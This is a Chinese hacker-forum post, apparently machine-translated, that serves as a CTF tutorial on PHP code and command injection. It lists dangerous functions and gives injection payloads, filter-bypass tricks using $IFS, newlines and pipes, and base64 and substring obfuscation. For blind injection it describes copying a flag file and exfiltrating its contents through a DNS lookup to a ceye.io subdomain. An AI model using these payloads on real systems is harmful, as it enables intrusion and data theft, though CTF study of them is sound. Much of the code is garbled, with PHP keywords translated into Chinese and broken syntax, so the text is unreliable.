H

CTF 中的命令执行漏洞

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

CTF 中的命令执行漏洞相关​

由于无法在代码中可以执行的特殊功能门户网站过滤,因此用户可以提交恶意语句并将其交给服务器进行执行。
此漏洞攻击成功的主要原因是Web服务器不会过滤函数的传入参数,例如System(),eval(),exec(),等。

1 代码注入​

1.1 相关函数​

1.1.1 eval​

1
2
3
4
5
php
hilight_file(文件);
$ a='phpinfo();';
评估($ a);

1.1.2 assert​

20190114154122.png-water_print

1.1.3 call_user_func​

20190114154625.png-water_print

您可以使用is_calable函数查看是否可以回叫

1.1.4 call_user_func_array​

20190114154922.png-water_print

1.1.5 create_function​

20210114155018.png-water_print

1.1.6 preg_replace​

20210114155342.png-water_print

搜索与模式匹配并用更换或其执行结果替换的主题部分。

1.1.7 array_map​

20190114160430.png-water_print

有效载荷:url?a=assertb=phpinfo()

1.1.8 usort​

20190114160801.png-water_print

有效载荷:url?1 []=phpinfo()1 []=1232=断言

1.1.9 uasort​

20190114162913.png-water_print

1.1.10 ${php 代码}​

20190114163026.png-water_print

1.2 DEMO​

1
2
3
4
5
6
7
php
lighlight_file(文件);
$ price=$ _get ['price'];
$ code='echo $ name'。 “价格”。 $价格。 ';';
$ b=create_function('$ name',$代码);
$ b('iPhone');

有效载荷:url?price=123;} phpinfo();/*

2 命令注入​

2.1 相关函数​

2.1.1 system​

20190114191146.png-water_print

2.1.2 exec​

20190114191300.png-water_print

2.1.3 passthru​

20190114191328.png-water_print

2.1.4 shell_exec​

20190114191425.png-water_print

2.1.5 `` 运算符​

20190114191642.png-water_print

2.1.6 ob_start​

20190114191719.png-water_print

2.2 命令执行的绕过​

2.2.1 命令执行的分隔符​

:例如:
1
2
3
4
5
php
lighlight_file(文件);
$ rce='echo 123';
系统($rce。$ _get [1]);

如何实现命令执行
线路休息%0a
马车返回%0D
连续指导;
背景过程
管道符号|
逻辑||,

2.2.2 命令执行的分隔符​

符号
$ ifs
$ {ifs}
$ ifs $ 9
%09用于URL交付
$ {9}

2.2.3 其它 Tips​

2.2.3.1 命令拼接​

1
$ a=l; $ b=s; $ a $ b

2.2.3.2 base64 编码​

1
回声CHDK | base64 -d

2.2.3.3 substr string pos len​

此表达式从POS位置取出带有长度Len的子字符串。如果POS或LEN是非阳性整数,则返回一个空字符串。
echo“ $ {path:0:1}” - //
20190114193636.png-water_print

1
2
3
echo'`expr \ $ ifs \ subStr \ $ ifs \\ $(pwd)\\ $ ifs \ 1 \ $ ifs \ 1''''
echo` $(expr $ {ifs} substr $ {ifs} $ pwd $ {ifs} 1 $ {ifs} 1)
expr $ {ifs} substr $ {ifs} $ session_manager $ {ifs} 6 $ {ifs} 1 {$ ifs} 1
20190114193731.png-water_print

2.3 命令无回显的情况​

2.3.1 判断​

延迟
LS |睡眠(3)
HTTP请求
DNS请求
ceye.io

2.3.2 利用​

写外壳(直接写,外部下载)
http/dns和其他将其带出的方法

2.3.3 DEMO​

1
2
3
4
5
6
7
8
php
lighlight_file(文件);
包括('where_is_flag.php');
回声'ping:';
$ ip=(string)$ _ get ['ping'];
$ ip=str_replace('','0.0',$ ip);
shell_exec('ping'。$ ip);

有效载荷:
1
2
ip=; cp wery_is_flag.php 1.txt
ip=cat 1.txt | sed s/[[:Space:]] //.xx.ceye.io
技能
CAT 1.TXT | SED S //[[[:SPACE:]] //G是去除空间的功能
 
后退
顶部